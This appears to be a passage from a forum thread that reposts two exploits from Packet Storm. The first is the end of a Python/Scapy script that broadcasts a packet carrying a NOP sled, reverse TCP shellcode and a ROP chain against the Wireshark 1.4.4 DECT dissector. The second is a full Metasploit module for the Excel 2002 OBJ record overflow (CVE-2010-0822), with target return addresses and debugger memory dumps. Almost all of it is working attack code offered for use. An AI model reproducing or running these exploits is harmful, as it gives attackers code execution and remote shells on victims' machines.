head_nop = 50 shellcode = nopsled * head_nop + rev_tcp_shell + nopsled * (SEIP_SMASH-len(rev_tcp_shell) - head_nop) payload = shellcode + rop_chain # stack alignment if (len(payload) % 2): diff = len(payload) % 2 payload = payload[(2-diff):] print "\t[+] Payload length : %d"%len(payload) evil_packet = Ether(type=0x2323, dst="ff:ff:ff:ff:ff:ff") / payload # evil_packet.show() print "\t[+] Evil packet length : %d"%len(evil_packet) print "\t[+] Sending packet to broadcast" sendp(evil_packet) Sursa: Wireshark 1.4.4 DECT Dissector Buffer Overflow ? Packet Storm
  25. MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow Authored by Nicolas Joly, Shahin, juan vazquez | Site metasploit.com This Metasploit module exploits a vulnerability found in Excel 2002 of Microsoft Office XP. By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker can get the control of the execution flow. This results arbitrary code execution under the context of the user. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow", 'Description' => %q{ This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP. By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker can get the control of the excution flow. This results aribrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Initial discovery 'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB 24 exploit and binary analysis 'juan vazquez' # Metasploit ], 'References' => [ ['CVE', '2010-0822'], ['OSVDB', '65236'], ['BID', '40520'], ['MSB', 'MS10-038'], ['URL', 'http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/'] ], 'Payload' => { 'Space' => 4000 }, 'DefaultOptions' => { 'ExitFunction' => 'process', 'DisablePayloadHandler' => 'true' }, 'Platform' => 'win', 'Targets' => [ [ # This is the one that can be downloaded from MSDN 'Microsoft Office Excel 2002 10.2614.2625 Service Pack 0(Office XP) on Windows XP SP3', { 'ftCmoReserved' => 0x307d91ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data 'CraftedPointer' => 0x307d91a6, # Ptr to PtrToRet in the stored contents on Excel .data 'PtrToRet' => 0x307d908e, # Ptr to Ret - 11Ch 'Ret' => 0x30006113 # call ecx from Excel.exe 10.0.2614.0 } ], [ 'Microsoft Office Excel 2002 10.6501.6626 Service Pack 3 (Office XP SP3) on Windows XP SP3', { 'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data 'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data 'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch 'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0 } ], ], 'Privileged' => false, 'DisclosureDate' => "Jun 8 2010", 'DefaultTarget' => 1)) register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.xls']) ], self.class) end def exploit path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2010-0822.xls') f = File.open(path, 'rb') template = f.read f.close buf = '' buf << template[0..35016] buf << [target['ftCmoReserved']].pack('V') buf << template[35021..36549] buf << [target['PtrToRet']].pack('V') buf << [target.ret].pack('V') buf << template[36558..36559] buf << [target['CraftedPointer']].pack('V') buf << template[36564..36609] buf << [target['CraftedPointer']].pack('V') # Pass the MSO_804() buf << template[36614..36639] buf << payload.encoded buf << template[40640..template.length] file_create(buf) end end =begin Memory analysis on Office XP SP2 'ftCmoReserved' => 0x307de5ac, # Ptr to CraftedPointer-4 in the stored contents on Excel .data ------------------------------------------------------------------------------------------ 0:000> db 0x307de5ac 307de5ac 00 30 74 00 a6 e5 7d 30-4c 4c 00 55 6e 69 72 42 .0t...}0LL.UnirB 307de5bc 42 42 42 4c 00 48 50 44-6f 63 55 49 53 55 49 00 BBBL.HPDocUISUI. 307de5cc 54 72 75 65 00 52 65 73-6f 6c 75 74 69 6f 6e 00 True.Resolution. 307de5dc 36 30 30 64 70 69 a6 e5-7d 30 74 52 65 73 00 46 600dpi..}0tRes.F 307de5ec 61 6c 73 65 90 90 90 90-90 90 90 90 90 90 90 90 alse............ 307de5fc 90 90 90 90 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA 307de60c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de61c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 'CraftedPointer' => 0x307de5a6, # Ptr to PtrToRet in the stored contents on Excel .data ----------------------------------------------------------------------------------- 0:000> db 0x307de5a6 307de5a6 8e e4 7d 30 a5 61 00 30-74 00 a6 e5 7d 30 4c 4c ..}0.a.0t...}0LL 307de5b6 00 55 6e 69 72 42 42 42-42 4c 00 48 50 44 6f 63 .UnirBBBBL.HPDoc 307de5c6 55 49 53 55 49 00 54 72-75 65 00 52 65 73 6f 6c UISUI.True.Resol 307de5d6 75 74 69 6f 6e 00 36 30-30 64 70 69 [[a6 e5 7d 30]]* ution.600dpi..}0 307de5e6 74 52 65 73 00 46 61 6c-73 65 90 90 90 90 90 90 tRes.False...... 307de5f6 90 90 90 90 90 90 90 90-90 90 41 41 41 41 41 41 ..........AAAAAA 307de606 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de616 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA * => 0x307de5a6 + 0x3c => 0x307de5e2 'PtrToRet' => 0x307de48e, # Ptr to Ret - 11Ch --------------------------------------------- 307de48e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de49e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4ce 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4de 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4ee 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de4fe 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de50e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de51e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de52e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de53e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de54e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de55e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de56e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de57e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de58e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 307de59e eb 60 6e 00 50 72 69 6e-8e e4 7d 30 [[a5 61 00 30]]* .`n.Prin..}0.a.0 307de5ae 74 00 a6 e5 7d 30 4c 4c-00 55 6e 69 72 42 42 42 t...}0LL.UnirBBB 307de5be 42 4c 00 48 50 44 6f 63-55 49 53 55 49 00 54 72 BL.HPDocUISUI.Tr 307de5ce 75 65 00 52 65 73 6f 6c-75 74 69 6f 6e 00 36 30 ue.Resolution.60 307de5de 30 64 70 69 a6 e5 7d 30-74 52 65 73 00 46 61 6c 0dpi..}0tRes.Fal 307de5ee 73 65 90 90 90 90 90 90-90 90 90 90 90 90 90 90 se.............. 307de5fe 90 90 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ..AAAAAAAAAAAAAA 307de60e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de61e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de62e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de63e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de64e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de65e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de66e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 307de67e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA * 0x307de48e + 0x11c => 0x307de48e 'Ret' => 0x300061a5 # call ecx from Excel.exe 10.0.6501.0 ---------------------------------------------------------- EXCEL!Ordinal41+0x61a5: 300061a5 ffd1 call ecx 300061a7 e00b loopne EXCEL!Ordinal41+0x61b4 (300061b4) 300061a9 c1536689 rcl dword ptr [ebx+66h],89h 300061ad 46 inc esi 300061ae 2a8d8574ffff sub cl,byte ptr [ebp-8B7Bh] 300061b4 ff5068 call dword ptr [eax+68h] 300061b7 1200 adc al,byte ptr [eax] 300061b9 0400 add al,0 =end Sursa: MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow ? Packet Storm
×
×
  • Create New...